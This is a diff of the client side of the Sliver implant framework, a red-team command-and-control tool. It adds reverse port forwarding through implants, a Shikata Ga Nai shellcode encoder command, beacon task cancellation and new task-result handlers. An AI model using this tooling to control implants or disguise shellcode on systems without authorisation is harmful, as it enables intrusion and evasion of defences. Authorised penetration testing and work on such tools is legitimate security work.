-	if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
+	reactionPath := GetReactionFilePath()
+	if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
 		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
+		prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
 			return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {
-		con.PrintInfof("Saved reactions to disk\n")
+		con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
 	}
 }

client/command/rportfwd/portfwd-add.go

@@ -0,0 +1,77 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"regexp"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	if session.GetActiveC2() == "dns" {
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
+	}
+
+	bindAddress := ctx.Flags.String("bind")
+	// Check if the bind address is just a port number, if no host is specified
+	// we just bind to all interfaces implant-side
+	if portNumberOnlyRegexp.MatchString(bindAddress) {
+		bindAddress = fmt.Sprintf(":%s", bindAddress)
+	}
+
+	forwardAddress := ctx.Flags.String("remote")
+	// Check if the forward address is just a port number, if no host is specified
+	// we just forward to localhost client-side
+	if portNumberOnlyRegexp.MatchString(forwardAddress) {
+		forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
+	}
+	rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
+		Request:        con.ActiveTarget.Request(ctx),
+		BindAddress:    bindAddress,
+		ForwardAddress: forwardAddress,
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStartedRportFwdListener(rportfwdListener, con)
+}
+
+func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}

client/command/rportfwd/portfwd-rm.go

@@ -0,0 +1,55 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	listenerID := ctx.Flags.Int("id")
+	rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
+		Request: con.ActiveTarget.Request(ctx),
+		ID:      uint32(listenerID),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStoppedRportFwdListener(rportfwdListener, con)
+}
+
+func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}

client/command/rportfwd/portfwd.go

@@ -0,0 +1,74 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
+}
+
+func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
+	if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
+		con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
+		return
+	}
+
+	if len(rportfwdListeners.Listeners) == 0 {
+		con.PrintInfof("No reverse port forwards\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Remote Address",
+		"Bind Address",
+	})
+	for _, p := range rportfwdListeners.Listeners {
+		tw.AppendRow(table.Row{
+			p.ID,
+			p.ForwardAddress,
+			p.BindAddress,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/sessions/interactive.go

@@ -89,7 +89,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	c2s = append(c2s, tcpPivotC2...)
 
 	// No flags, parse the current beacon's ActiveC2 instead
-	if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
+	if len(c2s) == 0 {
 		con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
 		c2url, err := url.Parse(beacon.ActiveC2)
 		if err != nil {

client/command/sessions/sessions.go

@@ -78,6 +78,10 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	if killFlag != "" {
 		session := con.GetSession(killFlag)
+		if session == nil {
+			con.PrintErrorf("Invalid session name or session number: %s\n", killFlag)
+			return
+		}
 		activeSession := con.ActiveTarget.GetSession()
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()
@@ -130,8 +134,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
+	wideTermWidth := con.Settings.SmallTermWidth < width
 
-	if con.Settings.SmallTermWidth < width {
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -140,6 +145,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Message",
 			"Health",
 		})
@@ -177,7 +183,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
 
 		var rowEntries []string
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -186,7 +192,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
+				con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
 				burned + SessionHealth,
 			}
 		} else {

client/command/shikata-ga-nai/sgn.go

@@ -0,0 +1,81 @@
+package sgn
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/hex"
+	"io/ioutil"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
+func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	shellcodeFile := ctx.Args.String("shellcode")
+	rawShellcode, err := ioutil.ReadFile(shellcodeFile)
+	if err != nil {
+		con.PrintErrorf("Failed to read shellcode file: %s", err)
+		return
+	}
+
+	arch := ctx.Flags.String("arch")
+	iterations := ctx.Flags.Int("iterations")
+	rawBadChars := ctx.Flags.String("bad-chars")
+	badChars, err := hex.DecodeString(rawBadChars)
+	if err != nil {
+		con.PrintErrorf("Failed to decode bad chars: %s", err)
+		return
+	}
+
+	con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
+
+	shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+		Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+		Architecture: arch,
+		Iterations:   uint32(iterations),
+		BadChars:     badChars,
+		Data:         rawShellcode,
+		Request:      con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
+		con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
+		return
+	}
+
+	outputFile := ctx.Flags.String("save")
+	if outputFile == "" {
+		outputFile = filepath.Base(shellcodeFile)
+		outputFile += ".sgn"
+	}
+
+	err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to write shellcode file: %s", err)
+		return
+	}
+	con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
+}

client/command/tasks/fetch.go

@@ -28,6 +28,7 @@ import (
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
+	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/command/filesystem"
 	"github.com/bishopfox/sliver/client/command/network"
 	"github.com/bishopfox/sliver/client/command/privilege"
@@ -157,6 +158,8 @@ func emojiState(state string) string {
 		return "⏳"
 	case "failed":
 		return "❌"
+	case "canceled":
+		return "🚫"
 	default:
 		return "❓"
 	}
@@ -171,9 +174,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 	// ---------------------
 	// Environment commands
 	// ---------------------
-	case sliverpb.MsgEnvInfo:
+	case sliverpb.MsgEnvReq:
 		envInfo := &sliverpb.EnvInfo{}
-		err := proto.Unmarshal(task.Request, envInfo)
+		err := proto.Unmarshal(task.Response, envInfo)
 		if err != nil {
 			con.PrintErrorf("Failed to decode task response: %s\n", err)
 			return
@@ -210,9 +213,25 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
 
+	// ---------------------
+	// Call extension commands
+	// ---------------------
+	case sliverpb.MsgCallExtensionReq:
+		callExtension := &sliverpb.CallExtension{}
+		err := proto.Unmarshal(task.Response, callExtension)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		extensions.PrintExtOutput("", "", callExtension, con)
+
 	// ---------------------
 	// Exec commands
 	// ---------------------
+	case sliverpb.MsgInvokeExecuteAssemblyReq:
+		fallthrough
+	case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
+		fallthrough
 	case sliverpb.MsgExecuteAssemblyReq:
 		execAssembly := &sliverpb.ExecuteAssembly{}
 		err := proto.Unmarshal(task.Response, execAssembly)
@@ -231,6 +250,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
 				"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
+				"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
 			},
 		}
 		exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
@@ -337,7 +357,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintPwd(pwd, con)
 
-	case sliverpb.MsgDownload:
+	case sliverpb.MsgDownloadReq:
 		download := &sliverpb.Download{}
 		err := proto.Unmarshal(task.Response, download)
 		if err != nil {
@@ -395,7 +415,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintRm(rm, con)
 
-	case sliverpb.MsgUpload:
+	case sliverpb.MsgUploadReq:
 		upload := &sliverpb.Upload{}
 		err := proto.Unmarshal(task.Response, upload)
 		if err != nil {
@@ -404,6 +424,60 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintUpload(upload, con)
 
+	case sliverpb.MsgChmodReq:
+		chmod := &sliverpb.Chmod{}
+		err := proto.Unmarshal(task.Response, chmod)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintChmod(chmod, con)
+
+	case sliverpb.MsgChownReq:
+		chown := &sliverpb.Chown{}
+		err := proto.Unmarshal(task.Response, chown)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintChown(chown, con)
+
+	case sliverpb.MsgChtimesReq:
+		chtimes := &sliverpb.Chtimes{}
+		err := proto.Unmarshal(task.Response, chtimes)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintChtimes(chtimes, con)
+
+	case sliverpb.MsgMemfilesListReq:
+		memfilesList := &sliverpb.Ls{}
+		err := proto.Unmarshal(task.Response, memfilesList)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintMemfiles(memfilesList, con)
+
+	case sliverpb.MsgMemfilesAddReq:
+		memfilesAdd := &sliverpb.MemfilesAdd{}
+		err := proto.Unmarshal(task.Response, memfilesAdd)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintAddMemfile(memfilesAdd, con)
+
+	case sliverpb.MsgMemfilesRmReq:
+		memfilesRm := &sliverpb.MemfilesRm{}
+		err := proto.Unmarshal(task.Response, memfilesRm)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintRmMemfile(memfilesRm, con)
+
 	// ---------------------
 	// Network commands
 	// ---------------------
@@ -428,7 +502,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			con.PrintErrorf("Failed to fetch beacon: %s\n", err)
 			return
 		}
-		network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
+		network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
 
 	// ---------------------
 	// Privilege commands
@@ -546,6 +620,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 				"overflow":      &grumble.FlagMapItem{Value: false},
 				"skip-pages":    &grumble.FlagMapItem{Value: 0},
 				"print-cmdline": &grumble.FlagMapItem{Value: true},
+				"tree":          &grumble.FlagMapItem{Value: false},
 			},
 		}
 		processes.PrintPS(beacon.OS, ps, true, ctx, con)
@@ -643,7 +718,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 	// ---------------------
 	// Screenshot
 	// ---------------------
-	case sliverpb.MsgScreenshot:
+	case sliverpb.MsgScreenshotReq:
 		screenshot := &sliverpb.Screenshot{}
 		err := proto.Unmarshal(task.Response, screenshot)
 		if err != nil {

client/command/tasks/tasks-cancel.go

@@ -0,0 +1,60 @@
+package tasks
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
+func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacon := con.ActiveTarget.GetBeaconInteractive()
+	if beacon == nil {
+		return
+	}
+
+	idArg := ctx.Args.String("id")
+	var task *clientpb.BeaconTask
+	var err error
+	if idArg == "" {
+		beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		tasks := []*clientpb.BeaconTask{}
+		for _, task := range beaconTasks.Tasks {
+			if task.State == "pending" {
+				tasks = append(tasks, task)
+			}
+		}
+		if len(tasks) == 0 {
+			con.PrintErrorf("No pending tasks for beacon\n")
+			return
+		}
+
+		task, err = SelectBeaconTask(tasks)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf(console.UpN+console.Clearln, 1)
+	} else {
+		task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	if task != nil {
+		task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Task %s canceled\n", task.ID)
+	}
+}

client/command/tasks/tasks.go

@@ -97,6 +97,8 @@ func prettyState(state string) string {
 		return console.Bold + console.Orange + state + console.Normal
 	case "completed":
 		return console.Bold + console.Green + state + console.Normal
+	case "canceled":
+		return console.Bold + console.Gray + state + console.Normal
 	default:
 		return state
 	}

client/command/websites/websites-add-content.go

@@ -1,10 +1,27 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"errors"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"os"
 	"path"
@@ -94,7 +111,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
 		return err
 	}
 	defer file.Close()
-	data, err := ioutil.ReadAll(file)
+	data, err := io.ReadAll(file)
 	if err != nil {
 		return err
 	}

client/command/websites/websites-rm-content.go

@@ -1,5 +1,23 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"strings"

client/command/websites/websites-rm.go

@@ -1,5 +1,23 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 

client/command/websites/websites-update-content.go

@@ -1,5 +1,23 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 

client/command/websites/websites.go

@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
 		return sortedContents[i].Path < sortedContents[j].Path
 	})
 	for _, content := range sortedContents {
-		tw.AppendHeader(table.Row{
+		tw.AppendRow(table.Row{
 			content.Path,
 			content.ContentType,
 			content.Size,

client/console/console.go

@@ -44,6 +44,7 @@ import (
 	"github.com/desertbit/go-shlex"
 	"github.com/desertbit/grumble"
 	"github.com/fatih/color"
+	"github.com/gofrs/uuid"
 	"google.golang.org/protobuf/proto"
 )
 
@@ -91,6 +92,7 @@ type SliverConsoleClient struct {
 	App                      *grumble.App
 	Rpc                      rpcpb.SliverRPCClient
 	ActiveTarget             *ActiveTarget
+	EventListeners           *sync.Map
 	BeaconTaskCallbacks      map[string]BeaconTaskCallback
 	BeaconTaskCallbacksMutex *sync.Mutex
 	IsServer                 bool
@@ -120,6 +122,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 			observers:  map[int]Observer{},
 			observerID: 0,
 		},
+		EventListeners:           &sync.Map{},
 		BeaconTaskCallbacks:      map[string]BeaconTaskCallback{},
 		BeaconTaskCallbacksMutex: &sync.Mutex{},
 		IsServer:                 isServer,
@@ -136,7 +139,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		con.App.SetPrompt(con.GetPrompt())
 	})
 
-	go con.EventLoop()
+	go con.startEventLoop()
 	go core.TunnelLoop(rpc)
 
 	err := con.App.Run()
@@ -146,7 +149,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 	return err
 }
 
-func (con *SliverConsoleClient) EventLoop() {
+func (con *SliverConsoleClient) startEventLoop() {
 	eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		fmt.Printf(Warn+"%s\n", err)
@@ -158,7 +161,10 @@ func (con *SliverConsoleClient) EventLoop() {
 			return
 		}
 
+		go con.triggerEventListeners(event)
+
 		// Trigger event based on type
+		echoed := false // Only echo the event once
 		switch event.EventType {
 
 		case consts.CanaryEvent:
@@ -168,6 +174,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
 			}
+			echoed = true
 
 		case consts.WatchtowerEvent:
 			msg := string(event.Data)
@@ -177,15 +184,19 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
 			}
+			echoed = true
 
 		case consts.JoinedEvent:
 			con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
+			echoed = true
 		case consts.LeftEvent:
 			con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
+			echoed = true
 
 		case consts.JobStoppedEvent:
 			job := event.Job
 			con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
+			echoed = true
 
 		case consts.SessionOpenedEvent:
 			session := event.Session
@@ -201,12 +212,14 @@ func (con *SliverConsoleClient) EventLoop() {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
 			}
+			echoed = true
 
 		case consts.SessionUpdateEvent:
 			session := event.Session
 			currentTime := time.Now().Format(time.RFC1123)
 			shortID := strings.Split(session.ID, "-")[0]
 			con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
+			echoed = true
 
 		case consts.SessionClosedEvent:
 			session := event.Session
@@ -216,6 +229,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			activeSession := con.ActiveTarget.GetSession()
 			core.GetTunnels().CloseForSession(session.ID)
+			core.CloseCursedProcesses(session.ID)
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
 				con.PrintEventErrorf("Active session disconnected")
@@ -228,6 +242,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				}
 				con.PrintEventInfof("Removed session %s from Operator", session.Name)
 			}
+			echoed = true
 
 		case consts.BeaconRegisteredEvent:
 			beacon := &clientpb.Beacon{}
@@ -246,18 +261,46 @@ func (con *SliverConsoleClient) EventLoop() {
 					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
 				}
 			}
+			echoed = true
 
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
+			echoed = true
+
 		}
 
 		con.triggerReactions(event)
 
-		con.Printf(Clearln + con.GetPrompt())
-		bufio.NewWriter(con.App.Stdout()).Flush()
+		// Only render if we echoed the event
+		if echoed {
+			con.Printf(Clearln + con.GetPrompt())
+			bufio.NewWriter(con.App.Stdout()).Flush()
+		}
 	}
 }
 
+func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
+	listener := make(chan *clientpb.Event, 100)
+	listenerID, _ := uuid.NewV4()
+	con.EventListeners.Store(listenerID.String(), listener)
+	return listenerID.String(), listener
+}
+
+func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
+	value, ok := con.EventListeners.LoadAndDelete(listenerID)
+	if ok {
+		close(value.(chan *clientpb.Event))
+	}
+}
+
+func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
+	con.EventListeners.Range(func(key, value interface{}) bool {
+		listener := value.(chan *clientpb.Event)
+		listener <- event // Do not block while sending the event to the listener
+		return true
+	})
+}
+
 func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
 	reactions := core.Reactions.On(event.EventType)
 	if len(reactions) == 0 {
@@ -318,12 +361,12 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
 			if beacon != nil {
 				con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
 			}
-			task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
+			task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
 				ID: task.ID,
 			})
 			con.Printf(Clearln + "\r")
 			if err == nil {
-				callback(task)
+				callback(task_content)
 			} else {
